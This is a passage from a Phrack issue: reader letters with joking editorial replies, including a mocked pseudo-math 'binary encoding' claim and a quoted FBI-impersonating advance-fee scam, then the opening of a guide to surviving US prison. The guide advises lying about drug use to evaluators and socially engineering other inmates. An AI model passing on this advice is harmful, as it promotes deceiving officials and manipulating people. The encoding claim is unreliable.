|
|
55 555555555 55 55 55 55 55555555 55 55555 55555555 555555555
|
|
|
|
Binary is setup as 0's and 1's and there are quite a few encodings that
|
|
beat binary(machine language)...
|
|
256 128 64 32 16 8 4 2 1
|
|
0 = .
|
|
1 = .5 = 2 = 1
|
|
1 0 = 5
|
|
1 1 = 5.5 = 52 = 26 = 13
|
|
1 0 0 = 50 = 25
|
|
1 0 1 = 50.5 = 502 = 251
|
|
1 1 0 = 55
|
|
1 1 1 = 55.5 = 552 = 69
|
|
1 0 0 0 = 500 = 250 = 125
|
|
1 0 0 1 = 500.5 = 5002 = 2501
|
|
1 0 1 0 = 505
|
|
1 0 1 1 = 505.5 = 5052 = 2526
|
|
1 1 0 0 = 550 = 275
|
|
1 1 0 1 = 550.5 = 5502 = 2751
|
|
|
|
When .5 is replaced with 2 keep halving number until prime without turning
|
|
number into a decimal for a faster encoding with the 0-9 numeral system. So
|
|
basically half all the numbers until the next half becomes a decimal I.e.
|
|
being prime. This saves in space approximately 98 numerals per 100 places
|
|
compared to machines language.
|
|
|
|
[ Same post was found on:
|
|
http://mathfax.com/emraised-to-the-infinite-9craised-to-the-infinte-9
|
|
and
|
|
http://www.mymathforum.com/viewtopic.php?f=13&t=12988
|
|
|
|
You're crazy man :> Well this give us the hint that at least one guy
|
|
is reading our drug-related papers. ]
|
|
|
|
|
|
|--=[ 0x03 - Dating ]=---------------------------------------------------=|
|
|
|
|
Subject: CFP 67 and staff
|
|
From: Larry
|
|
|
|
Hello,
|
|
|
|
Is there any place where I can talk to the staff, like it used to be in the
|
|
past?
|
|
|
|
Is the old IRC still working?
|
|
|
|
[ Unfortunately it's not. But rumor says we may be found on other IRCs.
|
|
If you know a guy who knows a guy who knows a guy then maybe... ]
|
|
|
|
Regards.
|
|
|
|
|
|
|--=[ 0x04 - Interesting thoughts ]=-------------------------------------=|
|
|
|
|
Subject: ANTISPAM
|
|
From: Rachel Peek <rachelpeek@live.com>
|
|
|
|
[ We sent you a mail Rachel. Having no answers, we assumed we could
|
|
publish it as it currently is. ]
|
|
|
|
Normally I would try to be convincing, but I'm not feeling it right now.
|
|
The thing is, I recently wrote a sort of article on my personal opinions
|
|
about the government. I don't really know if it's the kind of thing you're
|
|
looking for, but I figured I would send it in anyway. Look down.
|
|
|
|
The thing with mental disorders is you never know if what you're feeling is
|
|
real. You don't know if you've made it all up in your head, if you just
|
|
added all this stress into your life for nothing. But it feels real. As
|
|
real as anything can, and it's scary as shit. It raises the questions:
|
|
Which part of the brain is in charge of sanity? Or the more often times
|
|
more prominent insanity? What causes us to say the things we say? What
|
|
tells us to hurt the ones we hurt? What compels us to take the actions we
|
|
take? WHY DO WE DO THE THINGS WE DO? This question has yet to be answered
|
|
after all of these years. I think it's because we're too busy telling each
|
|
other what to do, and now our heads are lost up the parts of our asses
|
|
where maps aren't allowed. I am living proof of this stupidity. I don't
|
|
know where my thoughts come from. I just know they're there and continue to
|
|
taunt me with their daily attendance. They will cause me to do things that
|
|
will make others wonder. They will ask the inevitable question "Why?" I've
|
|
just stopped answering. This is because my answer will never be good
|
|
enough. I never seem to have the appropriate reasoning for my actions. For
|
|
lack of a few better words, I just do shit. I do what I want. In today's
|
|
society, this is a crime. In order to become a model citizen of the proud
|
|
U.S.A., you must never, ever do what you want to do. You are to do what you
|
|
are told and ask no questions. Not that it matters. You'll only be answered
|
|
with bullshit about how it will benefit you in the end. Take your
|
|
modern-day education program for example. they provide you with a selection
|
|
of subjects to choose from, all of which have been watered down by the
|
|
government to shield our innocent eyes from our country's mistakes and the
|
|
fact that the world is a shitty place thanks to our existence. This is not
|
|
easily done though, so they must distract us with ridiculous
|
|
extracurricular activities that will be of no use to us ever in our lives.
|
|
And they know it. So while we're busy learning how not to break an
|
|
unfertilized chicken ova with a sharpee face, they're watching us. They ask
|
|
themselves,
|
|
|
|
"How will they react to this?"
|
|
|
|
"What will happen if we do that?"
|
|
|
|
They're searching for glitches, just like you would on a computer. You make
|
|
one wrong move, you take the tiniest step out of line, and they'll
|
|
immediately make an attempt to "correct" it. How dare you be your own
|
|
person? How dare you make your own decisions? You must fit the mold, and if
|
|
you don't, you better believe they're trying their damnedest to shove you
|
|
into it. They want to catch us early you see. Before we realize how to
|
|
think for ourselves. They tells us how to walk, stand, eat, sit, write,
|
|
sing, THINK. And we eat the shit up. Why is this? Because if we don't, we
|
|
are shunned. We are not like the others. We are alone. The "Man" depends on
|
|
our loneliness. The homosapien hates to be alone, and they are aware of
|
|
this. Most people will do anything to avoid it, including shutting off
|
|
their brains to fit in. So you fall in line and you follow these rules. You
|
|
might ask why they are there at all, but you will never be answered. You
|
|
will simply be given an ultimatum. "To get a good job and be successful"
|
|
Another way to put this would be, "Do exactly what you're ordered to or
|
|
have a miserable life" But success is relevant...to some at least.
|
|
Society's definition of success is money. You go to school to get a job to
|
|
make money to spend money to run out and need it again. You get trapped in
|
|
the cycle. Well what if your definition of success is happiness? You've
|
|
most likely thought to yourself, "Oh shit" This is due to the fact that you
|
|
now know you are living in a world you don't belong in. You are living in a
|
|
world where happiness IS money, and no one will believe otherwise. And so
|
|
you need money to get by. You have to delicately touch the filthy stuff.
|
|
You have to carry it tenderly in your pocket, making sure it's in a safe
|
|
place, meeting all of it's needs, caring for this shit with wasted love.
|
|
And you get a job to acquire more. You get up every morning and you follow
|
|
the speed limit up the road, and you buy your coffee that is made from
|
|
beans picked by people who can't afford to taste it, and you walk into a
|
|
building with big, clean windows and detailed columns cleverly placed to
|
|
disguise the boredom that awaits you inside. You will sit. And you will
|
|
sit. You will sit all day long in one of those swivel chairs that allow you
|
|
to do your pointless work at a slightly quicker pace by cutting out all of
|
|
that rigorous head turning. You do this because you want to get out of
|
|
there as soon as possible. You want to go home and eat your feelings. You
|
|
want to stare at that black box as it tells you you are ugly. You are
|
|
stupid. You are fat. You are not good enough. You are not the best. Be the
|
|
fucking best. But you can't be. You never will be. You don't have time.
|
|
You're so busy following that same goddamn schedule every day you don't
|
|
have a single second to breathe and it's cutting the circulation off to
|
|
your brain. You can only think what you've been taught to think and you'll
|
|
do so until you're on your deathbed trying to reflect on the life you led.
|
|
Trying to remember something beautiful the way they do in the movies. But
|
|
all you see are white button-downs and digital clock numbers, glowing
|
|
computer screens and stock numbers. you have wasted your life and you might
|
|
as well be a cardboard cut-out of yourself. It's a sad thing to die a human
|
|
being.
|
|
|
|
[ Thanks for this Rachel. ]
|
|
|
|
|--=[ 0x05 - Translation proposal ]=-------------------------------------=|
|
|
|
|
Subject: Translation of phrack magazine
|
|
From: Robert Langdon <langdonmail@gmail.com>
|
|
|
|
[ Audrey Tautou <3 ]
|
|
|
|
Hi Phrack staff,
|
|
|
|
I'm an italian university student of Computer Science. I read many article
|
|
of your magazine and I'm vary interesting about your magazine.
|
|
|
|
In this days, I think if is possible to translate your articles (not all
|
|
obviously) in italian language ... and I don't understand which is the
|
|
distribution or publish license of yours article. The intent is to spread
|
|
your knowledge to italian guys. Can I translate one or more article?
|
|
Obviously, the translation is one-to-one, with the same references, the same
|
|
authors and so on.
|
|
|
|
[ As stated many times we do not support officially translations of
|
|
Phrack and that would be essentially because translations (even from
|
|
talented people) are not accurate enough. However, you're free to
|
|
translate any article. Good luck :) ]
|
|
|
|
Thanks for your great work.
|
|
SuperMrPlusPlus
|
|
|
|
[ I'm confused. I thought you were Robert Langdon. ]
|
|
|
|
|
|
|--=[ 0x06 - Alcohol abuse ]=--------------------------------------------=|
|
|
|
|
From: Anonymous <nobody@remailer.paranoici.org>
|
|
Subject: The risks of alcohol and being drunken bastards
|
|
|
|
Drinking Alcohol and Cancer Risk
|
|
www2.potsdam.edu/hansondj/HealthIssues/1109728149.html
|
|
|
|
Alcohol - The Risks | Health | BBC World Service
|
|
www.bbc.co.uk/worldservice/sci_tech/features/health/healthyliving/
|
|
alcoholrisk.shtml
|
|
|
|
Alcohol - Risks
|
|
www.pamf.org/teen/risk/alcohol/risks.html
|
|
|
|
4.5 The risks of alcohol
|
|
www.drugtext.org/library/books/raterisks/4.5.htm
|
|
|
|
Effects & risks of alcohol - Schoolies Week
|
|
schoolies.youthcentral.vic.gov.au/Safe+Partying/Alcohol/Effects+&+risks+of+
|
|
alcohol/
|
|
|
|
Underage Drinking-Why Do Adolescents Drink, What Are the Risks ...
|
|
pubs.niaaa.nih.gov/publications/aa67/aa67.htm
|
|
|
|
Young people and alcohol - what are the risks? : Directgov - Parents
|
|
www.direct.gov.uk/en/Parents/Yourchildshealthandsafety/
|
|
Youngpeopleandalcohol/DG_183848
|
|
|
|
Drinking and alcohol - Live Well - NHS Choices
|
|
www.nhs.uk/Livewell/alcohol/Pages/Alcoholhome.aspx
|
|
|
|
Alcohol and depression: What are the risks? - MayoClinic.com
|
|
www.mayoclinic.com/health/alcohol-and-depression/MY01078
|
|
|
|
Health risks associated with alcohol and heavy drinking
|
|
www.drinking.nhs.uk/health-risk/
|
|
|
|
The Risks of Developing a Drug or Alcohol Dependency
|
|
www.egetgoing.com/drug_addiction/addiction_risk.asp
|
|
|
|
Alcohol - Alcohol
|
|
www.alcohol.gov.au/
|
|
|
|
Alcohol Health Risks - Alcohol & Other Drugs, The Wellness Center ...
|
|
www.uncg.edu/shs/wellness/aod/alcoholhealth/
|
|
|
|
Teenage binge drinking, effects of alcohol, facts about alcohol at ...
|
|
ncadi.samhsa.gov/govpubs/ph323/
|
|
|
|
Health Risks of Alcohol and Drug Abuse
|
|
alcoholism.about.com/od/effect/u/Risks.htm
|
|
|
|
Health Risks In Alcohol Abuse
|
|
ezinearticles.com/?Health-Risks-In-Alcohol-Abuse&id=301753
|
|
|
|
For Teens: Know the Risks of Alcohol | HealthSheets | Wellness ...
|
|
www.mountnittany.org/wellness-library/healthsheets/documents?ID=3684
|
|
|
|
Alcohol and Breast Cancer Risk: New Findings - National Cancer ...
|
|
www.cancer.gov/cancertopics/causes/breast/alcoholuse0408
|
|
|
|
Effects of Drinking Alcohol: Health Benefits vs. Risks
|
|
www.webmd.com/cancer/features/faq-alcohol-and-your-health
|
|
|
|
Drinking alcohol\227Consumer Reports Health
|
|
www.consumerreports.org/health/conditions-and-treatments/
|
|
the-risks-and-benefits-of-drinking-alcohol/overview/index.htm
|
|
|
|
----
|
|
|
|
Getting drunken doesnt pown it is a fault of your own^^
|
|
Peace Phrack!
|
|
|
|
[ Fair enough ;> ]
|
|
|
|
|
|
|--=[ 0x07 - Insane delay ]=---------------------------------------------=|
|
|
|
|
Subject: a question <-- Needs ANTISPAM in Subject!
|
|
From: XXXXXXXXXXX
|
|
To: kleene@phrack.org, pwned@phrack.org <-- Wrong address man!
|
|
|
|
Hi,
|
|
What's the real sake of this delay, working on scada systems to attack
|
|
iran?
|
|
|
|
[ AHAH. Stuxnet developers if you ever read that, do not forget to
|
|
submit a paper on SCADA hacking for p68. ]
|
|
|
|
|
|
|--=[ 0x08 - Friendly messages ]=----------------------------------------=|
|
|
|
|
From: Cristi T.
|
|
Subject: hey
|
|
|
|
hey phrack,
|
|
|
|
[ Hi. ]
|
|
|
|
don't die.. i hope u will deliver this issue.
|
|
|
|
[ Actually we're not dead. If we were then who would be writing this?
|
|
;) ]
|
|
|
|
Best wishes,
|
|
Cristi
|
|
|
|
[ Thx Cristi :) ]
|
|
|
|
---
|
|
|
|
From: ZZZ
|
|
Subject:
|
|
|
|
Hi,
|
|
|
|
I noticed that you guys have a lot of followers who are neophytes to
|
|
hacking. If you would like an article or two on the very basics of
|
|
footprinting, scanning, enumeration, or hacking I might be able to do some
|
|
for you guys. I am an IT professional and educator. At least if my content
|
|
is or newbies, it will be well written. Just let me know.
|
|
|
|
[ Hi. Sorry man. Wrong e-zine, consider asking Uninformed instead ;> ]
|
|
|
|
ZZZ
|
|
AKA W88ExitUS
|
|
|
|
Sent from my iPhone
|
|
|
|
[ When did the times changed that much? :( ]
|
|
|
|
---
|
|
|
|
From: Christophe X
|
|
Subject: WTH ???
|
|
|
|
Hi guys,
|
|
|
|
I'm dying hoping to see the next number of phrack ... when would be the 67
|
|
birth. Seriously, i don't think i have the skill for proposing sexy
|
|
materials, but i'm serious enough for proposing you help for collecting /
|
|
guiding authors. Let me know if you need help for rereading article. I'm
|
|
french linux trainer, phrack was always my best emag, can't support to wait
|
|
for an annual release.
|
|
|
|
Best regards.
|
|
|
|
[ You're always welcome to motivate potential writers. That itself is
|
|
really helping. Thx. ]
|
|
|
|
---
|
|
|
|
From: rawhazard
|
|
Subject: ...bout issue #67
|
|
|
|
Hey men, just writing to know...what bout the issue #67? waiting for that
|
|
since lots of time, u goin to "push the beast out"? or you won't no more?
|
|
Lemme know, thanks
|
|
gw
|
|
|
|
[ Well as you can see, we did. ]
|
|
|
|
---
|
|
|
|
From: f6174179c90c0366@gmx.com
|
|
Subject: ANTISPAM
|
|
|
|
Thank you for maintaining phrack.
|
|
|
|
[ You're very welcome bro. ]
|
|
|
|
|--=[ 0x09 - Busted??? ]=------------------------------------------------=|
|
|
|
|
From: "Robert S. Mueller" <crimecenter@fbi.gov>
|
|
Subject: Federal Bureau Of Investigation./Anti-Terrorist And Monitory Crime
|
|
Division.
|
|
|
|
[ Wait. How did you find us? ]
|
|
|
|
Federal Bureau of Investigation (FBI)
|
|
Anti-Terrorist And Monitory Crime Division.
|
|
Federal Bureau Of Investigation.
|
|
J.Edgar.Hoover Building Washington Dc
|
|
Customers Service Hours / Monday To Saturday
|
|
Office Hours Monday To Saturday:
|
|
|
|
Dear Beneficiary,
|
|
|
|
Series of meetings have been held over the past 7 months with the secretary
|
|
general of the United Nations Organization. This ended 3 days ago. It is
|
|
obvious that you have not received your fund which is to the tune of
|
|
$850,000.00 due to past corrupt Governmental Officials who almost held the
|
|
fund to themselves for their selfish reason and some individuals who have
|
|
taken advantage of your fund all in an attempt to swindle your fund which
|
|
has led to so many losses from your end and unnecessary delay in the
|
|
receipt of your fund.
|
|
|
|
[ ... ]
|
|
|
|
[ Oh that's nice. With that much money, we'll be able to pay for the
|
|
hosting & the DNS for centuries ;) ]
|
|
|
|
|--=[ 0x0A - Book propositions ]=----------------------------------------=|
|
|
|
|
Subject: ANTISPAM
|
|
From: scott
|
|
|
|
Hello, I have a proposition today.
|
|
|
|
My request is to be listed under S2D316 as an author on your website:
|
|
http://www.phrack.org/authors.html, with the explicit purpose of writing a
|
|
novel. I will of course be mining my fellow authors' data, and thus would
|
|
of course need their approval.
|
|
|
|
[ Hum. LOL ]
|
|
|
|
I will be writing a minimum two thousand pages, divided amongst seven
|
|
chapters.
|
|
|
|
[ Two thousand is not enough. Consider asking us back with at least the
|
|
double. ]
|
|
|
|
I will of course be releasing it under HTML format, and would like the
|
|
ability to FTP my pages as I deem them worthy.
|
|
|
|
[ Of course. I'm afraid the sys admin is currently on holidays. He will
|
|
not be able to setup the FTP :( ]
|
|
|
|
If the above terms are met, proceeds will be negotiated.
|
|
|
|
[ I'm sorry. Who are you again? ]
|
|
|
|
The name of the story is:
|
|
|
|
|
|
The Underground Myth
|
|
by
|
|
Scott X
|
|
|
|
[ We already have an article with that name. I'm afraid we'll have to
|
|
sue you. Our lawyer will contact you soon enough. ]
|
|
|
|
|
|
|--=[ 0x0B - Newbies ]=--------------------------------------------------=|
|
|
|
|
[ Information was removed to protect the innocent :> ]
|
|
|
|
Subject: Neophyte's Guide
|
|
From: NICKNAME
|
|
|
|
My mentor (X of #Y on freenode) had decided to write a
|
|
version 2 to his original Z Guide to the Underground. This
|
|
guide lays out the framework for any neophytes looking to get into our
|
|
world. It also lays out the the truth about white hats, black hats,
|
|
and grey hats. As well as giving the basic's for anyone truly
|
|
dedicated to learning.
|
|
|
|
[ The truth? Sounds interesting :-P ]
|
|
|
|
I was inspired to write it after reading the article in phrack issue
|
|
65 entitled "the underground myth". Its so true, there are hardly any
|
|
mentors out there that are actually reliable. Most are on some skiddie
|
|
forum, and all they talk about is step by step SQL injections. And out
|
|
dated RFI's.
|
|
|
|
[ Yes. Step by step is annoying. ]
|
|
|
|
Due to this sickness infecting the web, we decided to write and
|
|
publish this (for free of course). In the hops that it will steer the
|
|
newbie's of the world away from GUI land, and back to our roots.
|
|
|
|
The book is 47 page's from start to finish. I believe that the
|
|
information contained in said book is invaluable and would help a lot
|
|
of people out.
|
|
|
|
[ Invaluable? :) ]
|
|
|
|
I have been intrigued by almost every single issue of phrack. I know
|
|
typically Phrack puts up high level articles, but I have noticed that
|
|
on occasion you guys will put something out there for the newbies, I
|
|
believe that this would be a very good addition to your awesome, and
|
|
inspiring publications.
|
|
|
|
Thank you for your time and consideration of our book.
|
|
|
|
NICKNAME
|
|
|
|
-EOF
|
|
|
|
[ No problem Sam. Oh yes sometimes with PDF metadata you have that
|
|
kind of unfortunate leak ;> It would be wise to update your book :) ]
|
|
|
|
|
|
|--=[ EOF ]=-------------------------------------------------------------=|
|
|
|
|
==Phrack Inc.==
|
|
|
|
Volume 0x0e, Issue 0x43, Phile #0x05 of 0x10
|
|
|
|
|=-----------------------------------------------------------------------=|
|
|
|=---------------------=[ How to make it in Prison ]=--------------------=|
|
|
|=-----------------------------------------------------------------------=|
|
|
|=----------------=[ by TAp - kill4deth <at> yahoo.com ]=----------------=|
|
|
|=--------=[ http://www.freewebs.com/hexdeth / AIM : swp2388 ]=---------=|
|
|
|=-----------------------------------------------------------------------=|
|
|
|
|
|
|
-------
|
|
|
|
|
|
1 - Introduction
|
|
|
|
2 - The beginning
|
|
|
|
2.1 - Intake
|
|
2.2 - Outline of the process
|
|
|
|
3 - Fresh Meat
|
|
|
|
4 - Life in prison
|
|
|
|
4.1 - What to expect and getting used to it
|
|
4.2 - Mail & collect calls
|
|
4.3 - Hygiene
|
|
4.4 - How you will live and getting used to it
|
|
4.5 - The commissary/snack cart
|
|
4.6 - Making money
|
|
|
|
5 - Interaction with other inmates
|
|
|
|
5.1 - Getting checked
|
|
5.2 - Just like momma used to make?
|
|
5.3 - Getting punked/becoming a bitch
|
|
|
|
6 - Prison gangs
|
|
|
|
6.1 - Prison gangs
|
|
6.2 - Should I join a gang, and if so which one should I join ?
|
|
|
|
7 - County Jail Vs. State Prison
|
|
|
|
8 - Common Situations
|
|
|
|
9 - Staying mentally fit
|
|
|
|
10 - Why I wrote this
|
|
|
|
|
|
-------
|
|
|
|
|
|
|
|
--[ 1 - Introduction
|
|
|
|
|
|
Alright people, this is a guide on what to do and how to act if you find
|
|
yourself in a prison environment. Let's all face it, if you're into the
|
|
underground world of hacking or phreaking then you've a very good chance
|
|
of being arrested some day. Seeing as how I've been in this situation
|
|
before, and also having noticed the amount of files on laws and police,
|
|
I've decided to write a file that has information you could use to make
|
|
your time a lot easier if you happen to go into prison. I myself seriously
|
|
hope you would never have to use this in a real life situation but if you
|
|
do, use it to your advantage. So to the point...
|
|
|
|
In this file we will be talking about a lot of different techniques and
|
|
also about things you should and should not do... This is in no way an
|
|
exactly fool proof text. All information is based on how I, the author,
|
|
interpreted the actions of others. Also note that this file is based
|
|
souly on the American prison systems. Therefore if you are reading this
|
|
file and are not living in America, some given information will be wrong
|
|
and some steps of the process may not be in order or even exist at all.
|
|
|
|
|
|
--[ 2 - The beginning
|
|
|
|
|
|
OK due to the aspects of confusion, there will be some vocabulary that's
|
|
common to the American Prison facilities in this file. In America there are
|
|
thousands of 'slang' words that prisoners use to help hide or mask the
|
|
activities from other inmates and/or the prison officials. We'll start at
|
|
the beginning stage called the 'intake process'.
|
|
|
|
|
|
--[ 2.1 - Intake
|
|
|
|
|
|
The 'intake' part of the process is the very first part. In this process
|
|
you will most likely have your constitutional rights (if you're American)
|
|
read to you and if they fail to do this then you will most likely have all
|
|
changes dropped/cleared. After this is done, you will be formally charged
|
|
with what ever crime you are being accused of, then you will have your
|
|
fingerprints and a mug shot (picture) of you taken. You will be moved into
|
|
a room either with other 'offenders/inmates' (these are the people who have
|
|
also committed crimes and awaiting trial) or by yourself depending on how
|
|
many people are being 'processed'. In this room there will be guards there
|
|
to take pictures of any and all tattoos and scares. These will be used to
|
|
help identify you in case you escape or try to give a fake identification
|
|
in the future.
|
|
|
|
In this part of the process you will be completely naked, so if you're
|
|
scared to show your body then too bad get over it or risk being restrained
|
|
and having them undress you. Next you will take showers with (pubic) lice
|
|
shampoo. Depending on the setup of the building you will either get to
|
|
shower by yourself or with a group of inmates. After the shower you will be
|
|
given a set of pants and a shirt. Some prisons do not provide underwear or
|
|
cotton shirts you will have to buy these if they are available. Next you
|
|
will be taken to your 'holding cell' a temporary housing until they either
|
|
issue you a more permanent cell or until they get more room for you. Now
|
|
you are ready for the main part of this text file
|
|
|
|
|
|
--[ 2.2 - Outline of the process
|
|
|
|
|
|
This part is mainly about the movements that go on and what to expect while
|
|
in transition. Some of the information applies to the American judicial
|
|
system.
|
|
|
|
|
|
--[ 2.2.1 - The county jail
|
|
|
|
|
|
when you first get locked up they will most likely put you in what is
|
|
called a 'county jail'. This type of jail is only for the people who live
|
|
in your general vicinity and is the first part of the process. While you
|
|
are heard you will either buy a lawyer or be appointed one. If you are
|
|
appointed one you have a greater chance of going to prison. I would advise
|
|
that you pay for one. While heard you will see your lawyer and he will set
|
|
up the pre-trial date. At the pre-trial your lawyer will present motions on
|
|
your be-half (These will help you in your case so don't just sit around in
|
|
there. Go to the law library and do some research.) but the prosecutor will
|
|
also have the opportunity to present motions that can hurt your case. From
|
|
here the judge will decide what to accept and what is thrown out, he will
|
|
also set your real trial date.
|
|
|
|
|
|
-[ 2.2.2 - The first day in prison
|
|
|
|
|
|
Your first day in prison will be at a diagnostics unit. This is where they
|
|
do mental evaluations on all inmates to help them place you in the facility
|
|
to best fit your needs such as if you are handicapped then you will be
|
|
placed with fellow peers. If you are a person who likes to get angry and
|
|
assault people then you will got a place with idiots such as yourself.
|
|
|
|
During your stay at the diagnostics unit you will go there are tests
|
|
regarding your mental stability and be questioned about your past. You will
|
|
also be asked about prior drug use. My advise to you would be to try look
|
|
and act as normal as possible and to lie about any and all drug problems.
|
|
This will help make your time easier and keep you from doing stuff required
|
|
by the prisons to make parole such as a rehab/anger management program.
|
|
|
|
After about 2 months, depending on your actions you will be sent to a more
|
|
permanent placement which is a lot different. That is because most people
|
|
were 'faking it to make it'. This means to act one way to get what you
|
|
want. These people may have anger problems and all that but they pretended
|
|
not to so they would get a better unit. Now once they get to that unit they
|
|
can go onto being there real self's. This can be frustrating to the people
|
|
who are actually normal because now they have to put up with the people who
|
|
they didn't want to be around.
|
|
|
|
Note: You will notice that the guards on the transportation busses have
|
|
shot guns. These are not for show if you attempt to escape they will shoot
|
|
to kill.
|
|
|
|
|
|
--[ 3 - Fresh Meat
|
|
|
|
|
|
Fresh Meat - This is someone who has never been locked up, therefore you
|
|
are the main person people will 'go after' which means attempt to cause you
|
|
harm or to manipulate you. Most likely these people will be the ones who
|
|
have been locked up for several years or the people who make a habit out of
|
|
getting locked up. Yes some people spend most of their pathetic life in
|
|
prison, even when they've had many chances given to them.
|
|
|
|
Now you're either reading this for one of two reasons:
|
|
1. You've never been locked up before,
|
|
2. You've been locked up before and you want to see if this is a serious
|
|
file.
|
|
|
|
Well if you're reading this to find out whether I'm knowledgeable on this
|
|
fact, then you might find something in here that could have or will help
|
|
you in the future ;]. But if you're reading this file for the first reason
|
|
then enjoy.
|
|
|
|
Now most of the time when someone new goes to prison he will be approached
|
|
by fellow prisoners who will attempt to give him a 'heart check'. This is
|
|
were the other prisoners get you to fight them. They do this to see if you
|
|
are a good fighter or if you will simply let them assault you. Most of the
|
|
time the people trying to assault will be the same race as you and they may
|
|
ask you some questions to see if they can find out more information on you.
|
|
If they do this, you must fight them back. It doesn't matter whether you
|
|
win or lose, remember they are there to see if you have heart (courage).
|
|
For them people who fight to protect themselves or their property have
|
|
'heart' and in prison respect is all you have. No one can take it unless
|
|
you let them (and they will try).
|
|
|
|
|
|
--[ 4 - Life in prison
|
|
|
|
|
|
--[ 4.1 - What to expect and getting used to it
|
|
|
|
|
|
Now when you get to your facility please do not expect people to care if
|
|
you want to go home, when your used to eat, what you like to eat, or if
|
|
your bed is too thin and hard on your back... NO ONE GIVES A FUCK, not the
|
|
inmates, not the guards, and not the nurse.
|
|
|
|
You will most likely eat breakfast early in the morning. Here (America
|
|
Texas) it is at 3:00am then lunch is at 9:00am and dinner at 4-5pm. Do not
|
|
expect a snack in between because there will not be any, not even if you're
|
|
"Starving to death". Yes this is your first time being locked up and most
|
|
likely you will be a short timer (someone with less than 5 years, some
|
|
people refer to short timers as 'having less then 20 years'...). Yes you
|
|
will be there with people who have life without parole. Therefore you
|
|
should not complain about how much time you have or how you want to go home
|
|
because this can cause problems with the other inmates who have been in
|
|
prison for a while and most likely will not be getting out soon. Inmates
|
|
with a lot of time take this so seriously they will fight you if they hear
|
|
you complain about your situation. Remember, there will always be people
|
|
with more problems than you.
|
|
|
|
|
|
--[ 4.2 - Mail & collect calls
|
|
|
|
|
|
You will most likely have the right to send/receive letters from family and
|
|
friends. There will most likely be limits on the amount you can send out
|
|
for a certain amount of time depending on where you live. You may also be
|
|
expected to provide the pen/paper/envelopes/stamps.
|
|
|
|
There may also be payphones (good luck to all the phreakers) depending on
|
|
your location. If you are lucky enough to be in a prison with working
|
|
phones you may notice that you will have to place collect calls. However
|
|
this type of calls will not establish a connection with a cellphone unless
|
|
the receiving party has set up an account with the phone company.
|
|
|
|
Also not all land lines will accept a collect call. Depending on the phone
|
|
company the prison uses you may be able to set up a prepaid account that
|
|
your family will provide money to. If you are using this type of account
|
|
with the phone company then you will be able to call any land-line/
|
|
cellphone.
|
|
|
|
Now that you know the basics about the mail/phone set up we're going to
|
|
talk about what you should not do regarding these systems. If for some
|
|
reason you are not receiving your mail, make sure you are not giving it to
|
|
the guard who may have reason to not turn it into the mail office/postal
|
|
services. They may work for the prisons but there are some who are just as
|
|
corrupt as your fellow prisoners. If you are certain this is not happening
|
|
then there may be a problem with the postal services, sadly you will not be
|
|
able to find this out. Lastly and most likely your loved ones just simply
|
|
did not write you back. There is really only one main reason that you can
|
|
not get through on your phone calls and that would be the person you are
|
|
calling does not want to talk to you. If this is so, do not complain to
|
|
your fellow inmates they do not care like I said before. The reason I tell
|
|
you this is because there are some people who do not receive letters/calls
|
|
and it's simply rude to complain in front of these people (its also bad for
|
|
your health).
|
|
|
|
Another thing is that there are some people who will try to manipulate you
|
|
into giving them a phone call or try to get you to give them your pin #.
|
|
You'll know what I mean and be able to resist this if you have some
|
|
experience in social engineering. Your best bet would be to keep your pin #
|
|
for yourself and if you give someone a phone call make them give you
|
|
something of theirs. Also you can use your knowledge of SE to exploit your
|
|
fellow inmates to make your free calls, once again good luck with your
|
|
techniques :)
|
|
|
|
Note: Phone calls and mails will be monitored by the prison officials so be
|
|
careful of what you say.
|
|
|
|
|
|
--[ 4.3 - Hygiene
|
|
|
|
|
|
Right if you really need me to explain this to you then there's something
|
|
wrong, but to all the people who need it...
|
|
|
|
Depending on your location you may or may not be given hygiene (deodorant /
|
|
soap / shampoo ... you know the main shit). If this is not given to
|
|
you then you will need to find a way to get these items because you don't
|
|
want to walk around looking/smelling like a homeless bum because this seems
|
|
to upset the inmates also the average person, no one wants to smell you. I
|
|
would also recommend that you take a shower as often as you can. In some
|
|
prisons you may only shower once a week, maybe longer, this is why the
|
|
deodorant is so important because it will help make you smell better or
|
|
'seem cleaner'.
|
|
|
|
|
|
--[ 4.4 - How you will live and getting used to it
|
|
|
|
|
|
Now you're going to be in prison and you will be living there for the time
|
|
being. No one in their right minds will like living there and most of the
|
|
time the guards don't even want to be there. Noting this you will be issued
|
|
a bed (this is not a real bed, its more like a shower certain stuffed with
|
|
wall insulation). They're not very thick (most of the ones I've seen are
|
|
about three inches thick) and as you might think they are not in the least
|
|
bit comfortable. No one is going to care if your back hurts or you cant
|
|
sleep, you will just have to get used to it. You will not be issued
|
|
sleeping medication or pain relievers, due to the illegal pill trade inside
|
|
the prisons. In your cell you may or may not have a toilet. These will be
|
|
stainless steal, you may have seen some in a prison movie, and most likely
|
|
have a sink at the top. Don't worry the water does not recycle.
|
|
|
|
So if you are shy (note: you will also be present in front of female
|
|
guards, this may cause you to be more uncomfortable than you already are
|
|
unless you get amusement from shifting in front of them) then you're going
|
|
to have to get over this quickly or walk around holding your piss and
|
|
having a stomach full of shit. When you're done doing your bathroom
|
|
business make sure you cleaned the area you've used (only the sink/toilet
|
|
seat, the rest doesn't matter unless you're clumsy and pissed on the floor
|
|
or dropped something).
|
|
|
|
This is to show respect for yourself and the others around you so please be
|
|
sure to clean up after yourself. This type of cleanliness also applies to
|
|
your room/cell/living area. You should observe good cleaning habits to make
|
|
sure your room is not a mess or does not smell bad. The main reason is that
|
|
if a guard sees a room that is in a mess then they're most likely to search
|
|
the room (these are called 'shake downs') and if you are the cause of these
|
|
shake downs then your fellow peers will 'check' you.
|
|
|
|
|
|
--[ 4.5 - The commissary/snack cart
|
|
|
|
|
|
In prison there is a thing called commissary (it's like a store in prison).
|
|
With this you can buy food such as candy, chips, cokes and lots of other
|
|
things that are way better than what they give you from the cafeteria. The
|
|
problem is that you will have to buy these items with your own money. This
|
|
will have to be sent to you from the outside world, basically your family /
|
|
friends will have to do this. You can't just come across some real money
|
|
and hand it to them they wont take it. They will tell you about the process
|
|
more when you get there. You are issued an account number and the money
|
|
will be located there. You will also be able to buy your hygiene / letter
|
|
writing materials here. Make sure you buy the things you need before you
|
|
buy the things you want.
|
|
|
|
Note 1: people may try to manipulate you into buying items for them. Please
|
|
do not be easily manipulated only buy things for the people you trust and
|
|
make sure they pay you back or give you something in return for what you
|
|
gave them.
|
|
|
|
Note 2: you may also try to SE people into buying stuff for you but be
|
|
smart about this because people do not like when they find out you
|
|
manipulated them.
|
|
|
|
|
|
--[ 4.6 - Making money
|
|
|
|
|
|
Yes it is possible to make 'money'. The term money is not only used for
|
|
